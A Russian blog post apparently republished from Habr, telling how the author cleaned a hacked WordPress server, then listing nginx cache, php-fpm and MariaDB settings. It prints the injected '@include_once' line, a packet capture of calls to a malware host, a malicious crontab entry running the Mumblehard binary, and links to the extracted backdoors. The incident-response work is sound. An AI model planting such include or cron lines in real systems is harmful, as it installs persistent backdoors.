- PVSM.RU - https://www.pvsm.ru -
День добрый, пятница ясная, бравый молодец иль девица красная!
Можешь мне верить, можешь мне не верить, но начался сей сказ с пары весточек на мою почту электронную и вот такой вот картины, красоты неписанной:
Это 500 бравых молодцев онлайн (по депеше от гугла) на движке заморском, wordpress именуемом, на сервере Intel Xeon E3 1245v2 (soyoustart, E3-SSD-3). К полотну была приложена рукописъ, помочь в оптимизации сего хозяйства.
Disclaimer: В данном материале показана быстрая диагностика глючного сервера и приведены конфиги, которые можно счесть полезными. Если вам есть что дополнить или критиковать, не стесняйтесь писать об этом в комментариях, ибо одна голова хуже две, две хуже чем три, а n-1 хуже чем n. Заразки, выдранные с сервера залиты на gist с соотв. комментариями как private, ясен пень, что не стоит их запускать на системе, для этого есть debug и ideone.com [1] .
Я все еще лениво висел в скайпе и хотел снять порчу по телефону, как правило это получается, ибо копипаста не врет, пока пробелы после паролей не копируют.
netstat -ntu | awk '{print $5}'| cut -d: -f1 | sort | uniq -c | sort -nr | more
выдал
После команды
iptables -I INPUT -s 188.138.89.112 -j DROP
стало красиво
Но весь php встал на дыбы, в том числе и залитый phpinfo().
Все еще подгоняемый желанием решить удаленно и нежеланием подключаться я попросил запустить
tcpdump -i eth0 dst host 188.138.89.112 -v -XX
и следом разбанить
iptables -D INPUT -s 188.138.89.112 -j DROP
После чего мне отправили лог:
Host: broin.top Accept: */* 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 006f 900d 4000 4006 0592 2e69 6086 bc8a .o..@.@....i`... 0x0020: 5970 d8f5 0050 3be0 6f97 6bd8 b0e4 8018 Yp...P;.o.k..... 0x0030: 00e5 a54b 0000 0101 080a 03dd ffa0 4221 ...K..........B! 0x0040: da17 4745 5420 2f6c 6e6b 2f69 6e6a 2e70 ..GET./lnk/inj.p 0x0050: 6870 2048 5454 502f 312e 310d 0a48 6f73 hp.HTTP/1.1..Hos 0x0060: 743a 2062 726f 696e 2e74 6f70 0d0a 4163 t:.broin.top..Ac 0x0070: 6365 7074 3a20 2a2f 2a0d 0a0d 0a cept:.*/*.... 20:33:17.765232 IP (tos 0x0, ttl 64, id 50803, offset 0, flags [DF], proto TCP (6), length 52) server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x6231), ack 15929, win 477, options [nop,nop,TS val 64880546 ecr 1109514777], length 0 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 0034 c673 4000 4006 cf66 2e69 6086 bc8a .4.s@.@..f.i`... 0x0020: 5970 d8f4 0050 8d4b 3a3b a61a 0724 8010 Yp...P.K:;...$.. 0x0030: 01dd a510 0000 0101 080a 03dd ffa2 4221 ..............B! 0x0040: da19 .. 20:33:17.765486 IP (tos 0x0, ttl 64, id 50804, offset 0, flags [DF], proto TCP (6), length 52) server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x5c72), ack 17377, win 500, options [nop,nop,TS val 64880546 ecr 1109514777], length 0 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 0034 c674 4000 4006 cf65 2e69 6086 bc8a .4.t@.@..e.i`... 0x0020: 5970 d8f4 0050 8d4b 3a3b a61a 0ccc 8010 Yp...P.K:;...... 0x0030: 01f4 a510 0000 0101 080a 03dd ffa2 4221 ..............B!
Видно, что дергается http://broin.top/lnk/inj.php
, вот ссылка на gist [2] и на декодированный [3].
Моя лень подсказала несчастному админу, мол найти все моменты влючения этого безобразия. Файлы были найдены, пути относительно «корня сайта»:
Следом я попросил скинуть мне index.php из WP и получил вот такое чудо
@include_once('./wp-includes/wp-mod.php');
В итоге под раздачу попала пачка файлов в /wp-includes/:
В общем больше нельзя было оставаться в стороне, и я забрал ssh доступ на скромный свеже установленный (февраль 2017) debian 7, php 5.4, демо ISP панель, приправленный proftpd… апачем до кучи (сайтами же рулил php-fpm)…
После поиска php файлов в разных директориях я нарвался на /wp-content/uploads/:
Затем в папке /wp-content/plugins/, схожие файлы загружать не стал:
wp-dojika.php — фанат «Game of trones» как и wp-jojiro.php.
Как видно — они обфусцированы. В том или иной мере, что следующим шагом я выбрал все php с
grep -A 3 -B 3 --include=*.php -rnw '/path/to/www/' -e ".*base64_decode.*"
и нашел еще один, WAIpro.php [20], из которого выдирается вот такой вот [21] декодированный файлик, который дергает много разной гадости, как вот к примеру apiword.press/addadmin_1.txt (gist [22]).
Файлы были перемещены для будущих ковыряний.
Траффик упал очень сильно. Через сутки зайдя и увидя повышенный траф я прописал
tcpdump -i eth0 dst port 25 -v -XX
я получил простыню, которая вертелась быстрее, чем армейский вентилятор из одноименного адегдота. После выключения php проблема не исчезла. Не верю, сказал я и ввел crontab -u admin -e
.
… и, вишенкой на торте, стал вывод
crontab -u admin -e
*/10 * * * * /var/tmp/eumqvTiN >/dev/null 2>&1
Затем sha256sum:
694fc1f7f17d5f3c447fcdb83fa6177b736b241430e70309a4b3111ef1d0e3b9 eumqvTiN
Который некто иной, как Linux/Mumblehard.U [23]. Как он туда попадал… честно разбираться уже было лень. К счастью у несчастного админа была его старая виртуалка (OVH
В итоге, сайт (как это возможно) был очищен от налепленных на него бяк, перенесен на переставленную старую виртуалку (которая бодро рассылала спам на всю ширину канала), и теперь показывает вот такие вот скромные числа, вот значение в пике (700 юзеров онлайн по googleAnal, кеш 3 сек):
Конфигурация достаточно простая: php-fpm 7.0.16 (7.1.1 не воспринимается некоторыми плагинами)
./configure --prefix=/opt/php-7.0 --with-pdo-pgsql --with-zlib-dir --with-freetype-dir --enable-mbstring --with-libxml-dir=/usr --enable-soap --enable-calendar --with-curl --with-mcrypt --with-zlib --with-gd --with-pgsql --disable-rpath --enable-inline-optimization --with-bz2 --with-zlib --enable-sockets --enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --enable-exif --enable-bcmath --with-mhash --enable-zip --with-pcre-regex --with-pdo-mysql --with-mysqli --with-mysql-sock=/var/run/mysqld/mysqld.sock --with-jpeg-dir=/usr --with-png-dir=/usr --enable-gd-native-ttf --with-openssl --with-fpm-user=www-data --with-fpm-group=www-data --with-libdir=/lib/x86_64-linux-gnu --enable-ftp --with-imap --with-imap-ssl --with-kerberos --with-gettext --with-xmlrpc --with-xsl --enable-opcache --enable-fpm --enable-intl
+ memcached
fpm-fpm сидит в chroot'e,
[wwwsomeone]
listen = 127.0.0.1:9001
listen.allowed_clients = 127.0.0.1
user = wwwsomeone
group = wwwsomeone
pm = dynamic
pm.max_children = 50
pm.start_servers = 10
pm.min_spare_servers = 5
pm.max_spare_servers = 10
chroot = /path/to/folder
chdir = /
catch_workers_output = yes
Nginx тоже на достаточно простой конфигурации (fpm подцеплен на порте, а не на сокете), а кеш имеет вид:
fastcgi_cache_key "$scheme:$server_name:$server_port:$request_uri";
fastcgi_cache mapcgi;
fastcgi_cache_lock on;
fastcgi_cache_lock_timeout 6s;
fastcgi_cache_valid 200 301 302 304 3s;
fastcgi_cache_valid 403 404 10s;
fastcgi_no_cache $cookie_wordpress_auth_cookie;
fastcgi_cache_methods GET HEAD;
Где $cookie_wordpress_auth_cookie
проверяет наличие куки wordpress_auth_cookie и запрещает кеширование ответов. Сейчас кеш составляет, отчего нагрузка упала больше всего:
fastcgi_cache_lock_timeout 10s;
fastcgi_cache_valid 200 301 302 304 2m;
fastcgi_cache_valid 403 404 30s;
Кеш лежит на ремдиске (tmpfs) объемом 1 Гб. Если кому интересны тесты такой же ВПС (но пустой), то вот они [25] (gist).
Динамика отдается на 12 r/sec, статика на 256 r/sec.
В принципе кеш всему голова… 470 онлайн без кеша nginx:
Вот с кешем nginx:
MySQL MariaDB отличается от дефолта кодом ниже:
[mysqld]
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
#init-connect='SET NAMES utf8'
lc-messages-dir = /usr/share/mysql
language = /usr/share/mysql/english
skip-external-locking
bind-address = 127.0.0.1
collation-server = utf8_unicode_ci
character-set-server = utf8
event_scheduler = on
innodb_file_per_table = 1
innodb_flush_method=O_DIRECT
innodb_lock_wait_timeout = 50
innodb_buffer_pool_size = 1G
join_buffer_size = 32M
max_connections = 1024
max_allowed_packet = 256M
max_join_size = 4096000
myisam_sort_buffer_size = 32M
myisam-recover = BACKUP
thread_cache_size = 16
key_buffer_size=32M
net_buffer_length = 16K
read_buffer_size=64M
read_rnd_buffer_size = 8M
sort_buffer_size = 32M
bulk_insert_buffer_size = 256M
expire_logs_days = 10
max_binlog_size = 100M
#
tmp_table_size = 1G
max_heap_table_size = 1G
#
table_cache = 8192
open-files-limit = 262144
transaction-isolation = READ-COMMITTED
query_cache_type = 2
query_cache_limit = 2M
query_cache_size = 256M
connect_timeout=30
wait_timeout=300
Логи доступа и ошибок nginx пишутся активно (1.5Гб в день), 3 дня полет нормальный и сервер чистый, судя по логах и активности в целом, в том числе и в логе fpm.
Так же в логе fpm уже на свежем ВПС:
[16-Feb-2017 23:06:42] WARNING: [pool wwwюзер] child 15075 said into stderr: "NOTICE: PHP message: PHP Fatal error: Uncaught Error: Call to undefined function mysql_escape_string() in /www/wp-content/themes/одна-такая-старая-тема-которая-не-используется/functions.php:60"
После чего были поиски файлов, которые могут быть похожи на functions.php в той или иной мере (аналогичные команды), но ничего подозрительного найдено не было.
Следующим этапом будет запереть сайты за cloudflare, играя add_header Cache-Control "public, max-age=123456789";
для контента без авторизации и add_header Cache-Control "private, max-age=0";
когда кукисы присуствуют в ответе и включить их файрволл, обеспечив дополнительную защиту «несчастному админу» и его блогам.
Теплого вам солнца и настоящих выходных!
Автор: nikitasius
Источник [27]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/nginx/244419
Ссылки в тексте:
[1] ideone.com: http://ideone.com/
[2] gist: https://gist.github.com/nikitasius/95e774e7f02b3bbf9c52b5fe78d18ce6
[3] декодированный: https://gist.github.com/nikitasius/ffea37b463c306a59f1bf2ba12f3086a
[4] .bt: https://gist.github.com/nikitasius/0411a5c6645918205007ec27d4131c61
[5] .crc: https://gist.github.com/nikitasius/8637526db18c8d622cbe6ab1b3328c2a
[6] wp-010617.php: https://gist.github.com/nikitasius/42091270882f3762e95b664f51e57c35
[7] wp-0bf.php: https://gist.github.com/nikitasius/e3032d69a06c0b0c51f56d9a56e8eb87
[8] wp-accuracy.php: https://gist.github.com/nikitasius/25ba12d8169f329f83c5c3c0104ac81c
[9] wp-file.php: https://gist.github.com/nikitasius/ce52e21ab3339bbb737dcf5540163503
[10] wp-fiscal.php: https://gist.github.com/nikitasius/d5a7086a40ab155d3537b2af840f1d2b
[11] wp-mod.php: https://gist.github.com/nikitasius/7df3b4599ccf4ca27abe649312458163
[12] wp-obf.php: https://gist.github.com/nikitasius/afd0b4ece440a0aea5640f45f31271ec
[13] wp-pas.php: https://gist.github.com/nikitasius/709e668f1208d98a47eb8619b4f8ba5d
[14] wp-wso.php: https://gist.github.com/nikitasius/5b94bda0ec6842eb983cd5ed5911681a
[15] wp-accuracy.php: https://gist.github.com/nikitasius/eb44e33f687f7657a3238c0800042516
[16] wp-fiscal.php: https://gist.github.com/nikitasius/a27f47ba9093e3b89f6b7986e9ab6071
[17] wp-uso.php: https://gist.github.com/nikitasius/4e0e83c294a4e100210c78d39a79224d
[18] wp-dojika.php: https://gist.github.com/nikitasius/8ed5f0f6911e2df6423f2bf9222c708a
[19] wp-jojiro.php: https://gist.github.com/nikitasius/c275e4111ff11c1dd22f4373c0f30bc6
[20] WAIpro.php: https://gist.github.com/nikitasius/24fbb88baa412dea239bc8d2b0e22586
[21] вот такой вот: https://gist.github.com/nikitasius/26306c111fd0d9ccf897fb2a3889b770
[22] gist: https://gist.github.com/nikitasius/2ba2184e68438428cf76721a8fe71f87
[23] Linux/Mumblehard.U: https://virustotal.com/en/file/694fc1f7f17d5f3c447fcdb83fa6177b736b241430e70309a4b3111ef1d0e3b9/analysis/1486762026/
[24] VPS: https://www.reg.ru/?rlink=reflink-717
[25] вот они: https://gist.github.com/nikitasius/d75cb2ac0a3ee7016c1e0e2aa695e0d4
[26] functions.php: https://gist.github.com/nikitasius/efb2df45cd308d0a6edda6264c5f0163
[27] Источник: https://habrahabr.ru/post/322120/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.